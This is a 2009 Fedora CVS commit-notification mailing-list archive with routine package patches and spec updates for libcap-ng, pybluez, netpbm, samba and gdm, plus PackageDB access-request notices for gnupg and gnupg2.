
Author: sgrubb

Update of /cvs/pkgs/rpms/libcap-ng/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7097

Modified Files:
	libcap-ng.spec 
Added Files:
	libcap-ng-0.6.3-setpcap.patch 
Log Message:
* Fri Oct 09 2009 Steve Grubb <sgrubb at redhat.com> 0.6.2-3
- Apply patch to retain setpcap only if clearing bounding set


libcap-ng-0.6.3-setpcap.patch:
 cap-ng.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE libcap-ng-0.6.3-setpcap.patch ---
diff -urp libcap-ng-0.6.2/src/cap-ng.c libcap-ng-0.6.3/src/cap-ng.c
--- libcap-ng-0.6.2/src/cap-ng.c	2009-09-23 17:31:00.000000000 -0400
+++ libcap-ng-0.6.3/src/cap-ng.c	2009-10-09 08:59:01.000000000 -0400
@@ -549,8 +549,9 @@ int capng_change_id(int uid, int gid, ca
 
 	// Check the current capabilities
 #ifdef PR_CAPBSET_DROP
-	// If newer kernel, we need setpcap
-	if (capng_have_capability(CAPNG_EFFECTIVE, CAP_SETPCAP) == 0)
+	// If newer kernel, we need setpcap to change the bounding set
+	if (capng_have_capability(CAPNG_EFFECTIVE, CAP_SETPCAP) == 0 && 
+					flag & CAPNG_CLEAR_BOUNDING)
 		capng_update(CAPNG_ADD,
 				CAPNG_EFFECTIVE|CAPNG_PERMITTED, CAP_SETPCAP);
 #endif


Index: libcap-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcap-ng/F-12/libcap-ng.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- libcap-ng.spec	3 Oct 2009 13:10:37 -0000	1.13
+++ libcap-ng.spec	9 Oct 2009 13:14:21 -0000	1.14
@@ -3,12 +3,13 @@
 Summary: An alternate posix capabilities library
 Name: libcap-ng
 Version: 0.6.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://people.redhat.com/sgrubb/libcap-ng
 Source0: http://people.redhat.com/sgrubb/libcap-ng/%{name}-%{version}.tar.gz
 Patch1: libcap-ng-0.6.3-euid.patch
+Patch2: libcap-ng-0.6.3-setpcap.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: kernel-headers >= 2.6.11 
 BuildRequires: libattr-devel
@@ -51,6 +52,7 @@ lets you set the file system based capab
 %prep
 %setup -q
 %patch1 -p1
+%patch2 -p1
 
 %build
 %configure --libdir=/%{_lib}
@@ -109,6 +111,9 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0644,root,root) %{_mandir}/man8/*
 
 %changelog
+* Fri Oct 09 2009 Steve Grubb <sgrubb at redhat.com> 0.6.2-3
+- Apply patch to retain setpcap only if clearing bounding set
+
 * Sat Oct 03 2009 Steve Grubb <sgrubb at redhat.com> 0.6.2-2
 - Apply patch correcting pscap and netcap acct detection
 



From wwoods at fedoraproject.org  Fri Oct  9 13:14:17 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Fri,  9 Oct 2009 13:14:17 +0000 (UTC)
Subject: rpms/pybluez/devel pybluez-0.16-btmodule.patch, NONE,
	1.1 pybluez.spec, 1.8, 1.9
Message-ID: <20091009131417.9922111C00C1@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/pybluez/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6731

Modified Files:
	pybluez.spec 
Added Files:
	pybluez-0.16-btmodule.patch 
Log Message:
Add patch from Paulo Roma for BZ#528123

pybluez-0.16-btmodule.patch:
 btmodule.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE pybluez-0.16-btmodule.patch ---
diff -udr PyBluez-0.16/bluez/btmodule.c PyBluez-0.16-working/bluez/btmodule.c
--- PyBluez-0.16/bluez/btmodule.c	2009-02-05 19:39:18.000000000 +0100
+++ PyBluez-0.16-working/bluez/btmodule.c	2009-06-20 02:18:54.000000000 +0200
@@ -679,7 +679,7 @@
 static PyObject *
 sock_bind(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 
@@ -770,7 +770,7 @@
 static PyObject *
 sock_connect(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 	int timeout;
@@ -805,7 +805,7 @@
 static PyObject *
 sock_connect_ex(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 	int timeout;
@@ -1193,7 +1193,7 @@
 {
 	PyObject *addro;
 	char *buf;
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen, len, n = 0, flags, timeout;
 
 	flags = 0;


Index: pybluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pybluez/devel/pybluez.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- pybluez.spec	28 Jul 2009 13:31:59 -0000	1.8
+++ pybluez.spec	9 Oct 2009 13:14:17 -0000	1.9
@@ -2,13 +2,14 @@
 
 Name:           pybluez
 Version:        0.16
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Python API for the BlueZ bluetooth stack 
 
 Group:          Development/Languages
 License:        GPLv2
 URL:            http://code.google.com/p/pybluez/
 Source0:        http://pybluez.googlecode.com/files/PyBluez-%{version}.tar.gz
+Patch0:         pybluez-0.16-btmodule.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
                    
 BuildRequires:      python-devel bluez-libs-devel
@@ -20,6 +21,7 @@ applications.
 
 %prep
 %setup -q -n PyBluez-%{version}
+%patch0 -p1 -b .btmodule
 
 
 %build
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/*
 
 %changelog
+* Wed Oct 08 2009 Paulo Roma <roma at lcg.ufrj.br> - 0.16-2
+- Applied btmodule patch.
+
 * Tue Jul 28 2009 Will Woods <wwoods at redhat.com> - 0.16-1
 - New (bugfix) release from upstream
 



From jnovy at fedoraproject.org  Fri Oct  9 13:17:43 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri,  9 Oct 2009 13:17:43 +0000 (UTC)
Subject: rpms/netpbm/devel .cvsignore, 1.58, 1.59 netpbm.spec, 1.145,
	1.146 sources, 1.62, 1.63 netpbm-10.35-configfix.patch, 1.1, NONE
Message-ID: <20091009131743.C552211C00C1@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/netpbm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25430

Modified Files:
	.cvsignore netpbm.spec sources 
Removed Files:
	netpbm-10.35-configfix.patch 
Log Message:
* Fri Oct  9 2009 Jindrich Novy <jnovy at redhat.com> 10.35.68-1
- update to 10.35.68



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/devel/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	4 Sep 2009 12:27:16 -0000	1.58
+++ .cvsignore	9 Oct 2009 13:17:43 -0000	1.59
@@ -1 +1 @@
-netpbm-10.35.67.tar.bz2
+netpbm-10.35.68.tar.xz


Index: netpbm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/devel/netpbm.spec,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- netpbm.spec	4 Sep 2009 12:27:17 -0000	1.145
+++ netpbm.spec	9 Oct 2009 13:17:43 -0000	1.146
@@ -1,16 +1,16 @@
 Summary: A library for handling different graphics file formats
 Name: netpbm
-Version: 10.35.67
+Version: 10.35.68
 Release: 1%{?dist}
 # See copyright_summary for details
 License: BSD and GPLv2 and IJG and MIT and Public Domain
 Group: System Environment/Libraries
 URL: http://netpbm.sourceforge.net/
 # Source0 is prepared by
-# svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/stable netpbm-%{version}
+# svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/super_stable netpbm-%{version}
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/userguide netpbm-%{version}/userguide
 # and removing the .svn directories
-Source0: netpbm-%{version}.tar.bz2
+Source0: netpbm-%{version}.tar.xz
 Patch1: netpbm-10.17-time.patch
 Patch2: netpbm-9.24-strip.patch
 Patch3: netpbm-10.19-message.patch
@@ -31,7 +31,6 @@ Patch22: netpbm-10.35-pnmmontagefix.patc
 Patch23: netpbm-10.35-pnmtofiasco-stdin.patch
 Patch24: netpbm-10.35-64bitfix.patch
 Patch29: netpbm-10.35-svgtopam.patch
-Patch30: netpbm-10.35-configfix.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libjpeg-devel, libpng-devel, libtiff-devel, flex
 BuildRequires: libX11-devel, python, jasper-devel
@@ -93,7 +92,6 @@ netpbm-progs.  You'll also need to insta
 %patch23 -p1 -b .pnmtofiasco-stdin
 %patch24 -p1 -b .64bitfix
 %patch29 -p1 -b .svgtopam
-%patch30 -p1 -b .configfix
 
 %build
 ./configure <<EOF
@@ -219,6 +217,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/netpbm/
 
 %changelog
+* Fri Oct  9 2009 Jindrich Novy <jnovy at redhat.com> 10.35.68-1
+- update to 10.35.68
+
 * Fri Sep  4 2009 Jindrich Novy <jnovy at redhat.com> 10.35.67-1
 - update to 10.35.67
 - fix configuration


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/devel/sources,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- sources	4 Sep 2009 12:27:17 -0000	1.62
+++ sources	9 Oct 2009 13:17:43 -0000	1.63
@@ -1 +1 @@
-6d9b4ec5ffbbb42cd63c94b010694194  netpbm-10.35.67.tar.bz2
+364add7dc5d66ecd44eec65f3d92d39b  netpbm-10.35.68.tar.xz


--- netpbm-10.35-configfix.patch DELETED ---



From wwoods at fedoraproject.org  Fri Oct  9 13:29:24 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Fri,  9 Oct 2009 13:29:24 +0000 (UTC)
Subject: rpms/pybluez/F-12 pybluez-0.16-btmodule.patch, NONE,
	1.1 pybluez.spec, 1.8, 1.9
Message-ID: <20091009132924.3149C11C00C1@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/pybluez/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29579

Modified Files:
	pybluez.spec 
Added Files:
	pybluez-0.16-btmodule.patch 
Log Message:
Add patch from Paulo Roma for BZ#528123

pybluez-0.16-btmodule.patch:
 btmodule.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE pybluez-0.16-btmodule.patch ---
diff -udr PyBluez-0.16/bluez/btmodule.c PyBluez-0.16-working/bluez/btmodule.c
--- PyBluez-0.16/bluez/btmodule.c	2009-02-05 19:39:18.000000000 +0100
+++ PyBluez-0.16-working/bluez/btmodule.c	2009-06-20 02:18:54.000000000 +0200
@@ -679,7 +679,7 @@
 static PyObject *
 sock_bind(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 
@@ -770,7 +770,7 @@
 static PyObject *
 sock_connect(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 	int timeout;
@@ -805,7 +805,7 @@
 static PyObject *
 sock_connect_ex(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 	int timeout;
@@ -1193,7 +1193,7 @@
 {
 	PyObject *addro;
 	char *buf;
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen, len, n = 0, flags, timeout;
 
 	flags = 0;


Index: pybluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pybluez/F-12/pybluez.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- pybluez.spec	28 Jul 2009 13:31:59 -0000	1.8
+++ pybluez.spec	9 Oct 2009 13:29:23 -0000	1.9
@@ -2,13 +2,14 @@
 
 Name:           pybluez
 Version:        0.16
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Python API for the BlueZ bluetooth stack 
 
 Group:          Development/Languages
 License:        GPLv2
 URL:            http://code.google.com/p/pybluez/
 Source0:        http://pybluez.googlecode.com/files/PyBluez-%{version}.tar.gz
+Patch0:         pybluez-0.16-btmodule.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
                    
 BuildRequires:      python-devel bluez-libs-devel
@@ -20,6 +21,7 @@ applications.
 
 %prep
 %setup -q -n PyBluez-%{version}
+%patch0 -p1 -b .btmodule
 
 
 %build
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/*
 
 %changelog
+* Wed Oct 08 2009 Paulo Roma <roma at lcg.ufrj.br> - 0.16-2
+- Applied btmodule patch.
+
 * Tue Jul 28 2009 Will Woods <wwoods at redhat.com> - 0.16-1
 - New (bugfix) release from upstream
 



From wwoods at fedoraproject.org  Fri Oct  9 13:30:00 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Fri,  9 Oct 2009 13:30:00 +0000 (UTC)
Subject: rpms/pybluez/F-11 pybluez-0.16-btmodule.patch, NONE,
	1.1 pybluez.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091009133000.72C2D11C00C1@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/pybluez/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29785

Modified Files:
	pybluez.spec sources 
Added Files:
	pybluez-0.16-btmodule.patch 
Log Message:
Update to 0.16, add patch for BZ#528123

pybluez-0.16-btmodule.patch:
 btmodule.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE pybluez-0.16-btmodule.patch ---
diff -udr PyBluez-0.16/bluez/btmodule.c PyBluez-0.16-working/bluez/btmodule.c
--- PyBluez-0.16/bluez/btmodule.c	2009-02-05 19:39:18.000000000 +0100
+++ PyBluez-0.16-working/bluez/btmodule.c	2009-06-20 02:18:54.000000000 +0200
@@ -679,7 +679,7 @@
 static PyObject *
 sock_bind(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 
@@ -770,7 +770,7 @@
 static PyObject *
 sock_connect(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 	int timeout;
@@ -805,7 +805,7 @@
 static PyObject *
 sock_connect_ex(PySocketSockObject *s, PyObject *addro)
 {
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen;
 	int res;
 	int timeout;
@@ -1193,7 +1193,7 @@
 {
 	PyObject *addro;
 	char *buf;
-	struct sockaddr addr;
+	struct sockaddr addr = {0};
 	int addrlen, len, n = 0, flags, timeout;
 
 	flags = 0;


Index: pybluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pybluez/F-11/pybluez.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- pybluez.spec	26 Feb 2009 19:45:52 -0000	1.6
+++ pybluez.spec	9 Oct 2009 13:30:00 -0000	1.7
@@ -1,14 +1,15 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           pybluez
-Version:        0.15
-Release:        4%{?dist}
+Version:        0.16
+Release:        2%{?dist}
 Summary:        Python API for the BlueZ bluetooth stack 
 
 Group:          Development/Languages
 License:        GPLv2
 URL:            http://code.google.com/p/pybluez/
-Source0:        http://pybluez.googlecode.com/files/PyBluez-0.15.tar.gz
+Source0:        http://pybluez.googlecode.com/files/PyBluez-%{version}.tar.gz
+Patch0:         pybluez-0.16-btmodule.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
                    
 BuildRequires:      python-devel bluez-libs-devel
@@ -20,6 +21,7 @@ applications.
 
 %prep
 %setup -q -n PyBluez-%{version}
+%patch0 -p1 -b .btmodule
 
 
 %build
@@ -43,6 +45,15 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/*
 
 %changelog
+* Wed Oct 08 2009 Paulo Roma <roma at lcg.ufrj.br> - 0.16-2
+- Applied btmodule patch.
+
+* Tue Jul 28 2009 Will Woods <wwoods at redhat.com> - 0.16-1
+- New (bugfix) release from upstream
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.15-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.15-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pybluez/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	4 Jun 2008 18:02:29 -0000	1.3
+++ sources	9 Oct 2009 13:30:00 -0000	1.4
@@ -1 +1 @@
-104ad743d4bc999796ceff4f39d1003a  PyBluez-0.15.tar.gz
+2ce8ff0dbb94c6be14e92e9968f4c914  PyBluez-0.16.tar.gz



From simo at fedoraproject.org  Fri Oct  9 13:34:17 2009
From: simo at fedoraproject.org (Simo Sorce)
Date: Fri,  9 Oct 2009 13:34:17 +0000 (UTC)
Subject: rpms/samba/devel samba.spec,1.197,1.198
Message-ID: <20091009133417.E60BA11C00C1@cvs1.fedora.phx.redhat.com>

Author: simo

Update of /cvs/pkgs/rpms/samba/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30994

Modified Files:
	samba.spec 
Log Message:
Correct Sources location



Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/samba.spec,v
retrieving revision 1.197
retrieving revision 1.198
diff -u -p -r1.197 -r1.198
--- samba.spec	1 Oct 2009 14:43:13 -0000	1.197
+++ samba.spec	9 Oct 2009 13:34:17 -0000	1.198
@@ -20,7 +20,7 @@ License: GPLv3+ and LGPLv3+
 Group: System Environment/Daemons
 URL: http://www.samba.org/
 
-Source: http://www.samba.org/samba/ftp/samba/%{name}-%{samba_version}%{pre_release}.tar.gz
+Source: http://www.samba.org/samba/ftp/%{name}-%{samba_version}%{pre_release}.tar.gz
 
 # Red Hat specific replacement-files
 Source1: samba.log



From simo at fedoraproject.org  Fri Oct  9 13:34:46 2009
From: simo at fedoraproject.org (Simo Sorce)
Date: Fri,  9 Oct 2009 13:34:46 +0000 (UTC)
Subject: rpms/samba/F-12 samba.spec,1.197,1.198
Message-ID: <20091009133446.99CB711C00C1@cvs1.fedora.phx.redhat.com>

Author: simo

Update of /cvs/pkgs/rpms/samba/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31137

Modified Files:
	samba.spec 
Log Message:
Correct Sources Location



Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/samba.spec,v
retrieving revision 1.197
retrieving revision 1.198
diff -u -p -r1.197 -r1.198
--- samba.spec	1 Oct 2009 14:44:08 -0000	1.197
+++ samba.spec	9 Oct 2009 13:34:46 -0000	1.198
@@ -20,7 +20,7 @@ License: GPLv3+ and LGPLv3+
 Group: System Environment/Daemons
 URL: http://www.samba.org/
 
-Source: http://www.samba.org/samba/ftp/samba/%{name}-%{samba_version}%{pre_release}.tar.gz
+Source: http://www.samba.org/samba/ftp/%{name}-%{samba_version}%{pre_release}.tar.gz
 
 # Red Hat specific replacement-files
 Source1: samba.log



From pkgdb at fedoraproject.org  Fri Oct  9 13:44:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:44:42 +0000
Subject: [pkgdb] gnupg2: tmraz has requested watchcommits
Message-ID: <20091009134442.4226910F895@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gnupg2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:44:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:44:42 +0000
Subject: [pkgdb] gnupg2: tmraz has requested watchbugzilla
Message-ID: <20091009134443.16E3210F8A8@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gnupg2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:44:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:44:44 +0000
Subject: [pkgdb] gnupg2: tmraz has requested commit
Message-ID: <20091009134444.CAA7210F8AB@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gnupg2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:44:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:44:48 +0000
Subject: [pkgdb] gnupg2: tmraz has requested approveacls
Message-ID: <20091009134448.9243B10F880@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gnupg2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:01 +0000
Subject: [pkgdb] gnupg2: tmraz has requested watchbugzilla
Message-ID: <20091009134501.8F4AB10F894@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gnupg2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:02 +0000
Subject: [pkgdb] gnupg2: tmraz has requested watchcommits
Message-ID: <20091009134502.20E2410F8A1@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gnupg2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:02 +0000
Subject: [pkgdb] gnupg2: tmraz has requested commit
Message-ID: <20091009134502.8134510F8A8@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gnupg2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:04 +0000
Subject: [pkgdb] gnupg2: tmraz has requested approveacls
Message-ID: <20091009134504.87DDC10F8AD@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gnupg2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:09 +0000
Subject: [pkgdb] gnupg2: tmraz has requested watchbugzilla
Message-ID: <20091009134509.A6D2510F8A4@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gnupg2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:11 +0000
Subject: [pkgdb] gnupg2: tmraz has requested watchcommits
Message-ID: <20091009134511.9BEF810F8A3@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gnupg2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:13 +0000
Subject: [pkgdb] gnupg2: tmraz has requested commit
Message-ID: <20091009134514.0D43E10F8AD@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gnupg2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:15 +0000
Subject: [pkgdb] gnupg2: tmraz has requested approveacls
Message-ID: <20091009134515.9C5DA10F8AF@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gnupg2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From mclasen at fedoraproject.org  Fri Oct  9 13:45:40 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri,  9 Oct 2009 13:45:40 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-bubble-location.patch, NONE, 1.1 gdm.spec, 1.493, 
	1.494
Message-ID: <20091009134540.1F91611C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1001

Modified Files:
	gdm.spec 
Added Files:
	gdm-bubble-location.patch 
Log Message:
Move bubbles to the lower right


gdm-bubble-location.patch:
 session-setup.entries |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE gdm-bubble-location.patch ---
diff -up gdm-2.28.0/data/session-setup.entries.bubble-location gdm-2.28.0/data/session-setup.entries
--- gdm-2.28.0/data/session-setup.entries.bubble-location	2009-10-09 09:38:01.315620045 -0400
+++ gdm-2.28.0/data/session-setup.entries	2009-10-09 09:39:11.354874396 -0400
@@ -755,5 +755,11 @@
         <string>/bin/true</string>
       </value>
     </entry>
+    <entry>
+      <key>/apps/notification-daemon/popup_location</key>
+      <value>
+        <string>bottom_right</string>
+      </value>
+    </entry>
   </entrylist>
 </gconfentryfile>


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.493
retrieving revision 1.494
diff -u -p -r1.493 -r1.494
--- gdm.spec	7 Oct 2009 18:24:05 -0000	1.493
+++ gdm.spec	9 Oct 2009 13:45:39 -0000	1.494
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -98,6 +98,7 @@ Patch3: gdm-2.23.92-save-root-window.pat
 # https://bugzilla.gnome.org/show_bug.cgi?id=596569
 Patch4: gdm-2.28.0-use-devicekit-power.patch
 
+# fixed upstream
 Patch5: registryd-no-wrapper.patch
 
 # uses /etc/sysconfig/keyboard and is thus not directly upstreamable
@@ -109,6 +110,7 @@ Patch19: gdm-multistack.patch
 Patch20: 0001-Fix-gdm_slave_get_timed_login_details.patch
 
 # Fedora-specific
+Patch98: gdm-bubble-location.patch
 Patch99: gdm-2.23.1-fedora-logo.patch
 
 %package user-switch-applet
@@ -155,6 +157,7 @@ The GDM fingerprint plugin provides func
 %patch19 -p1 -b .multistack
 %patch20 -p1 -b .autologin
 
+%patch98 -p1 -b .bubble-location
 %patch99 -p1 -b .fedora-logo
 
 autoreconf -i -f
@@ -404,6 +407,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct  9 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.0-8
+- Move bubbles to the lower right on the login screen
+
 * Wed Oct 07 2009 Ray Strode <rstrode at redhat.com> - 1:2.28.0-7
 - Fix gdm-password / xguest interaction (bug 524421)
 



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:52 +0000
Subject: [pkgdb] gnupg: tmraz has requested watchbugzilla
Message-ID: <20091009134553.02FC610F84D@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gnupg (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:54 +0000
Subject: [pkgdb] gnupg: tmraz has requested watchcommits
Message-ID: <20091009134554.AFC2710F895@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gnupg (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:56 +0000
Subject: [pkgdb] gnupg: tmraz has requested commit
Message-ID: <20091009134556.1575110F8A4@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gnupg (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:45:58 2009
